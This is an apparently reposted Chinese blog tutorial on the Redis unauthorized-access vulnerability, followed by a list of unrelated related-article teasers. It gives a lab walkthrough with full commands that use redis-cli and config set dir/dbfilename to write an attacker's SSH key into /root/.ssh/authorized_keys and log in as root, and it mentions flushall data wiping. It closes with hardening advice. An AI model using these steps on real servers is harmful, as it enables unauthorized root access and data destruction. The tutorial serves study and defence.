redis未授权访问漏洞

news2024/11/25 22:31:27

1、什么是redis未授权访问漏洞

Redis安装后，如果绑定在 0.0.0.0:6379，并且没有进行采用相关的策略，比如添加防火墙规则避免其他非信任来源 ip 访问等，这样将会将 Redis 服务暴露到公网上，如果在没有设置密码认证或使用弱口令的情况下，会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下，利用 Redis 自身的提供的config 命令，可以进行写文件操作，攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys文件中，进而可以使用对应私钥直接使用ssh服务登录目标服务器。

2、漏洞产生的危害

  • 攻击者可以通过弱口令爆破访问到内部数据，可能导致敏感信息泄露，黑客也可以恶意执行 flushall 来清空所有数据；

  • 攻击者可通过EVAL执行lua代码，或通过数据备份功能往磁盘写入后门文件；

  • 最严重的情况，如果 Redis 以 root 身份运行，黑客可以给root账户写入SSH公钥文件，直接通过SSH登录受害服务器

影响版本：Redis 2.x，3.x，4.x，5.x

3、前置准备工作

  • SSH免密登录原理

    SSH提供两种登录验证方式：一种是口令验证也就是账号密码登录，另一种是密钥验证，这里只简单说一下密钥验证的原理。

    所谓密钥验证，其实就是一种基于公钥密码的认证，使用公钥加密、私钥解密，其中公钥是公开的，放在服务器端，你可以把同一个公钥放在所有你想SSH远程登录的服务器中，而私钥是保密的只有你自己知道，公钥加密的消息只有私钥才能解密，大体过程如下：

    • 客户端生成私钥和公钥，并把公钥拷贝给服务器端；
    • 客户端发起公钥认证请求，发送自己的相关信息；
    • 服务器端根据客户端发来的信息查找是否存有该客户端的公钥，若没有拒绝登录；若有则使用该公钥对一个随机的256位的字符串进行加密，并发送给客户端；
    • 客户端收到服务器发来的加密后的消息后使用私钥解密，并生成一个MD5值发送给服务器端；
    • 服务器端根据原始随机字符串生成MD5值进行匹配, 确认客户端身份，若一样则允许登录，不一样则拒绝登录。

  • 漏洞环境搭建

    环境准备

    • 两台主机：
      靶机：Centos 7（ip：192.168.206.155），
      攻击机：Kali（192.168.206.149））

    • redis源码包：redis-2.8.17.tar.gz

    （1）两台虚拟机分别安装redis服务

    ​ Centos 7安装redis，安装完成后启动redis服务，注意关闭防火墙。Kali同样安装redis

    （2）生成.ssh目录
    靶机如果在/root目录下没有.ssh文件夹（.ssh目录是隐藏文件夹，需要使用ls -a命令查看其是否存在），则生成.ssh文件夹（因为redis 可以创建文件但无法创建目录，所以，redis 待写入文件所在的目录必须事先存在）

    # 生成.ssh文件夹
ssh localhost

    .ssh文件夹一般会有两个文件，authorized_keys和known_hosts

    • authorized_keys

      authorized_keys用来保存远程主机连接服务器的公钥，这样当远程主机想要连接服务器时，使用其私钥进行连接就可以免密登录了。

    • konwn_hosts

      第一次连接其他服务器的时候，会有提示 Are you sure you want to continue connecting (yes/no) 我们是否确认要连接到目标服务器。当我们确认后，这个远程服务器的信息就会被记录到我们本地的 ~/.ssh/known_hosts 中（如果一开始不存在则会自动创建），这个文件里面有我们刚刚连接的服务器的信息。known_hosts 文件每连接一个新的远程服务器都会被追加产生一条新的数据记录。包括远程机器ip、远程机器公钥，当我们以后再连接之前连接过的目标服务器时，因为 known_hosts 文件中记录了我们曾经连接过，所有就不会在提示询问我们是否要连接了。

    在这里插入图片描述

4、漏洞复现

原理就是在数据库中插入一条数据，将攻击机的公钥作为value，key值随意，然后通过修改数据库持久化文件保存路径为/root/.ssh，修改持久化数据生成的文件名为authorized.keys，把内存的数据保存到该文件里，这样就可以在服务器端的/root/.ssh下生一个授权的key。

  • 测试靶机是否存在未授权访问
    在这里插入图片描述

  • 在kali上生成ssh公私钥

    ssh-keygen

    输入以上命令，直接一路回车，会在家目录下看到id_rsa、id_rsa.pub两个公私钥文件

  • 将公钥写入到文件mykey中

    (echo -e "\n";cat /root/.ssh/id_rsa.pub;echo -e "\n") > /root/mykey

    前后用\n换行，避免和redis里其他缓存数据混合

  • 使用redis客户端连接靶机redis服务，并将文件mykey写入redis缓存

    ./redis-cli -h 192.168.206.155 -p 6379 -x set mykey < /root/mykey

    -x选项表示直接录入想要的key和value

    在这里插入图片描述

  • 使用redis客户端连接到redis服务器，修改其持久化文件保存路径为/root/.ssh，修改持久化数据生成的文件名为authorized.keys

    # 修改持久化文件保存路径
config set dir /root/.ssh
# 修改持久化数据生成的文件名
config set dbfilename authorized_keys

    在这里插入图片描述

  • 使用save命令，触发手动持久化（此时在靶机的/root/.ssh目录下，可以看到有authorized_keys文件生成）

  • 测试是否可以通过ssh登录目标服务器，成功登录

    ssh -i /root/.ssh/id_rsa root@192.168.206.155
或者
ssh 192.168.206.155

    在这里插入图片描述

6、修复建议

  • 限制登录IP

    采用绑定IP的方式或者使用防火墙限制访问redis的ip

    # 在redis.conf配置文件中找到bind配置项，可以绑定ip

# bind 192.168.1.100 10.0.0.1
bind 127.0.0.1

  • 设置密码认证，以提供远程登录

    # 在redis.conf配置文件中找到requirepass配置项

# requirepass foobared
requirepass yourpassword

  • 修改默认端口

    # 在redis.conf配置文件中找到port配置项，默认端口为6379
port 6379

  • 设置连接保持时间

    连接成功后一段时间没有操作，默认断开连接

    # 在redis.conf配置文件中找到timeout配置项
timeout 0

  • 开启保护模式不允许外网访问

    redis的protected-mode是在3.2版本以后加入的新特性，其作用是禁止公网访问redis cache，加强redis安全的。

  • 禁用高危命令

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/578627.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

如何顺序处理设备上报的数据

如何顺序处理设备上报的数据

1. 引言 随着智能技术的发展&#xff0c;市场上出现了很多的智能设备&#xff0c;其具有连接网络的能力。用户可以实现远程控制&#xff0c;并且设备也可上报自己的状态&#xff0c;实现云端对设备的运行情况分析。在某些情况下需要保证设备上报状态的有序性&#xff0c;例如传…
阅读更多...
简单介绍二叉树

简单介绍二叉树

前言 学习数据结构&#xff0c;二叉树是一大难点&#xff0c;也是一大重点&#xff0c;小伙伴们和我一起看看二叉树的知识吧&#xff01; 本文代码是Java。 目录 前言 一、什么是二叉树 二、二叉树的遍历 &#xff08;一&#xff09;前序遍历 &#xff08;二&#xff09;中…
阅读更多...
C++ 入门导引（这是一篇由GPT4写的文章）

C++ 入门导引（这是一篇由GPT4写的文章）

C 应用场景 C 是一种广泛应用的编程语言&#xff0c;拥有多种使用场景。以下是 C 的一些主要应用场景&#xff1a; ​1. 游戏开发&#xff1a;C 常用于游戏开发&#xff0c;尤其是大型 3D 游戏。它可以轻松地与图形 API&#xff08;如 OpenGL 和 DirectX&#xff09;集成&…
阅读更多...
element-ui树形控件el-tree详解

element-ui树形控件el-tree详解

概述 这里我利用element-ui开发一个vue的树形组件 引入element-ui 安装element-plus cnpm install element-plus --save 安装按需导入 cnpm install -D unplugin-vue-components unplugin-auto-import 修改vite.config.js配置按需加载 import AutoImport from unplugin-a…
阅读更多...
云原生架构：创新未来的应用开发和部署范式

云原生架构：创新未来的应用开发和部署范式

点击上方“程序猿技术大咖”&#xff0c;关注并选择“设为星标” 回复“加群”获取入群讨论资格&#xff01; 摘要&#xff1a;本文深入探讨云原生架构的优势、实施指南以及关键技术和工具。通过容器化、微服务架构、持续交付和自动化管理等实践&#xff0c;云原生架构为企业提…
阅读更多...
盘点一个Python列表的基础题目

盘点一个Python列表的基础题目

点击上方“Python爬虫与数据挖掘”&#xff0c;进行关注 回复“书籍”即可获赠Python从入门到进阶共10本电子书 今 日 鸡 汤 随意春芳歇&#xff0c;王孙自可留。 大家好&#xff0c;我是皮皮。 一、前言 前几天在Python最强王者群【eric】问了一个Python列表基础的问题&#x…
阅读更多...
web练习第二周

web练习第二周

前言&#xff1a;&#xff08;博主个人学习笔记&#xff0c;不用看&#xff09;web练习第二周&#xff0c;仅做出前3题。相比于第一周&#xff0c;难度大幅增加&#xff0c;写题时就算看了wp还是像个无头苍蝇一样到处乱创&#xff0c;大多都是陌生知识点&#xff0c;工具的使用…
阅读更多...
购买两块巧克力-第105场力扣夜喵双周赛-java双百方案

购买两块巧克力-第105场力扣夜喵双周赛-java双百方案

一、题目描述 给你一个整数数组 prices &#xff0c;它表示一个商店里若干巧克力的价格。同时给你一个整数 money &#xff0c;表示你一开始拥有的钱数。 你必须购买 恰好 两块巧克力&#xff0c;而且剩余的钱数必须是 非负数 。同时你想最小化购买两块巧克力的总花费。 请你…
阅读更多...
【原创】浅谈EtherCAT主站EOE(上)-EOE网络

【原创】浅谈EtherCAT主站EOE(上)-EOE网络

版权声明&#xff1a;本文为本文为博主原创文章&#xff0c;未经同意&#xff0c;禁止转载。如有问题&#xff0c;欢迎指正。博客地址&#xff1a;https://www.cnblogs.com/wsg1100/ 文章目录 一、EoE二、EoE服务规范EtherCAT主站如何提供EoE服务&#xff1f; 三、EoE网络EOE网…
阅读更多...
我用GPT搭建了一个虚拟女友！

我用GPT搭建了一个虚拟女友！

Datawhale干货 作者&#xff1a;仲泰&#xff0c;Datawhale成员 1. 作者知乎&#xff1a;https://www.zhihu.com/people/yong-tan-39-67 2.我用GPT搭建了一个虚拟女友-哔哩哔哩&#xff1a;https://b23.tv/GYYwMcq 3. 五月学习&#xff1a;ChatGPT应用组队学习来了&#xff01…
阅读更多...
原生canvas标签画线——直线、平行线（设置不同颜色和宽度）

原生canvas标签画线——直线、平行线（设置不同颜色和宽度）

1.一条直线 效果图如下&#xff1a; 代码如下&#xff1a; <!--* Author: your name* Date: 2023-05-24 17:50:28* LastEditTime: 2023-05-24 18:06:39* LastEditors: localhost* Description: In User Settings Edit* FilePath: /canvas/day01/体验canvas.html --> &l…
阅读更多...
Python潮流周刊#3：PyPI 的安全问题

Python潮流周刊#3：PyPI 的安全问题

△点击上方“Python猫”关注 &#xff0c;回复“1”领取电子书 你好&#xff0c;我是猫哥。这里记录每周值得分享的 Python 及通用技术内容&#xff0c;部分为英文&#xff0c;已在小标题注明。&#xff08;标题取自其中一则分享&#xff0c;不代表全部内容都是该主题&#xff…
阅读更多...
网站部署与上线（2）远程连接云服务器或虚拟机

网站部署与上线（2）远程连接云服务器或虚拟机

文章目录 搭建服务器部署环境配置pm2 可能听说过Windows系统提供的远程桌面。实际上&#xff0c;Linux中也提供了类似的功能&#xff0c;其远程连接基于命令行。 在Windows端连接Linux需要使用SSH软件&#xff0c;最流行的有Xshell和SecureCRT。 首先确定需要连接的云服务器或虚…
阅读更多...
Pyside6-第一篇-创建第一个窗口

Pyside6-第一篇-创建第一个窗口

Hi&#xff0c;今天起开始更新Pyside6教程了&#xff0c;从0-1开始更新&#xff0c;过程比较的久&#xff0c;一点点来。 今天&#xff0c;我们先来搭建环境。 我的环境&#xff1a; ❝ pycharm 2021.3.3(版本随意&#xff0c;只要不是很低就行)Python版本3.95Pyside版本6.50 ❞…
阅读更多...
【FreeRTOS】——中断优先级设置中断相关寄存器临界段代码保护调度器挂起与恢复

【FreeRTOS】——中断优先级设置中断相关寄存器临界段代码保护调度器挂起与恢复

目录 前言&#xff1a; 一、中断优先级设置 二、中断相关寄存器&#xff08;STM32-Cortex M3&#xff09; 三、临界段代码保护 四、任务调度器的挂起和恢复 总结&#xff1a; 前言&#xff1a; 博客笔记根据正点原子视频教程编辑&#xff0c;仅供学习交流使用&#xff0…
阅读更多...
电子器件系列38：mos管散热片

电子器件系列38：mos管散热片

板子上需要用到一个封装为to220的mos管&#xff0c;还得立起来散热&#xff0c;得要加一个散热片。 散热片简介&#xff0c;分类&#xff1f;用途&#xff1f;如何使用&#xff1f;封装&#xff1f;使用注意事项&#xff1f; 简介&#xff1a; mos散热片是一种给电器中的易发热…
阅读更多...
线程池实现

线程池实现

一、线程池介绍 1&#xff09;应用场景 当并发数很多的时候&#xff0c;并且每个线程执行时间很短的任务&#xff0c;这样就会频繁创建线程&#xff0c;而这样的频繁创建和销毁线程会大大降低系统的执行效率。对于这种场景我们可以使用线程池来复用之前创建的线程&#xff0c…
阅读更多...
Linux—基础篇：目录结构

Linux—基础篇：目录结构

1、基本介绍 1、linux的文件系统是采用级层式的树状目录结构&#xff0c;在此结构的最上层是根目录“/”,然后在此目录下创建其他目录 2、在Linux的世界里&#xff0c;一切皆文件&#xff01;&#xff01;&#xff01; 2、具体的目录结构 不用背&#xff0c;知道即可 2.1、…
阅读更多...
价值1000元的稀有二开版的无限坐席在线客服系统源码+教程

价值1000元的稀有二开版的无限坐席在线客服系统源码+教程

demo软件园每日更新资源,请看到最后就能获取你想要的: 1.价值1000元的稀有二开版的无限坐席在线客服系统源码教程 价值1000元的稀有二开版的无限坐席在线客服系统源码 直接一键安装的&#xff0c;启动两个端口就行了&#xff0c;安装倒是简单 类型&#xff1a;在线客服系统 …
阅读更多...
MathType7精简版数学公式编辑器

MathType7精简版数学公式编辑器

许多简单的数学公式&#xff0c;我们可以使用输入法一个个找到特殊符号并输入&#xff0c;但是对于高等数学中较多复杂的公式符号&#xff0c;是很难使用输入法完成的。那么&#xff0c;我们就需要借助公式编辑器&#xff0c;这里推荐一款我自己正在使用的MathType。 MathType是…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023